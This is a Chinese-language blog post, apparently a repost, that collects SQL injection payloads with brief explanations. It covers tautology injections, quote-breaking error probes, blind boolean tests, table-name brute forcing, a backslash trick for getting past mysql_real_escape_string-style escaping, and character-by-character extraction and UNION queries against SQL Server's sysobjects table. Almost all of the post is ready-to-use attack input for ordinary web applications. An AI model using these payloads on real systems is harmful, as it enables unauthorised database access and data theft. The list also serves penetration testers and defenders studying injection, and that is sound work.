COS(0)= SIN(PI()/ 2)    
COS(@VERSION)= -SIN(@VERSION + PI()/ 2)

ESP:

正常的SQL注入:

1 OR 1=1

使用封装数据的正常SQL注入:

1' OR '1'='1

盲SQL注入以抛出错误以验证封装不起作用。 这里的目标是抛出一个错误,使应用程序向我们显示它没有正确封装引号:

1'1

使用EXEC创建错误的盲SQL注入:

1 EXEC SP (or EXEC XP)

盲SQL注入检测(如果我们排除了AND 1 = 1部分,那么如果我们得到过滤就不会给我们相同的结果。如果它确实给我们相同的结果它表明应用程序易受攻击):

1 AND 1=1

盲注SQL注入尝试通过潜在的名称进行强力迭代来定位表名(您必须重命名表名,直到找到匹配项):

1' AND 1=(SELECT COUNT(*) FROM tablenames); --

使用反斜杠避开逃逸(这假定应用程序使用另一个单引号注释掉单引号,并在它之前引入反斜杠,它会注释掉过滤器添加的单引号)。 这种类型的过滤器由mySQL的mysql_real_escape_string()和PERL的DBD方法$ dbh-> quote()应用:

\'; DESC users; --

通过尝试使用上面看到的反斜杠方法创建错误来更盲目的SQL注入:

1\'1

通过调用伪表创建错误。 这可以通过调用不存在的表来尝试创建错误来帮助公开易受攻击的应用程序(尝试使用和不使用引号):

1' AND non_existant_table = '1

枚举数据库表名。 通过将116更改为不同的数字,您可以使用logrithmic reduction来查找数据库表名的第一个char。 然后迭代第一个1中的1,你最终可以获得整个表名。

1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) 116

使用SQL Server中的sysObjects表查找用户提供的表:

1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = 'U' --

转载地址侵删

坚持原创技术分享,您的支持将鼓励我继续创作!
------ 本文结束 ------

版权声明

LangZi_Blog's by Jy Xie is licensed under a Creative Commons BY-NC-ND 4.0 International License
由浪子LangZi创作并维护的Langzi_Blog's博客采用创作共用保留署名-非商业-禁止演绎4.0国际许可证
本文首发于Langzi_Blog's 博客( http://langzi.fun ),版权所有,侵权必究。

0%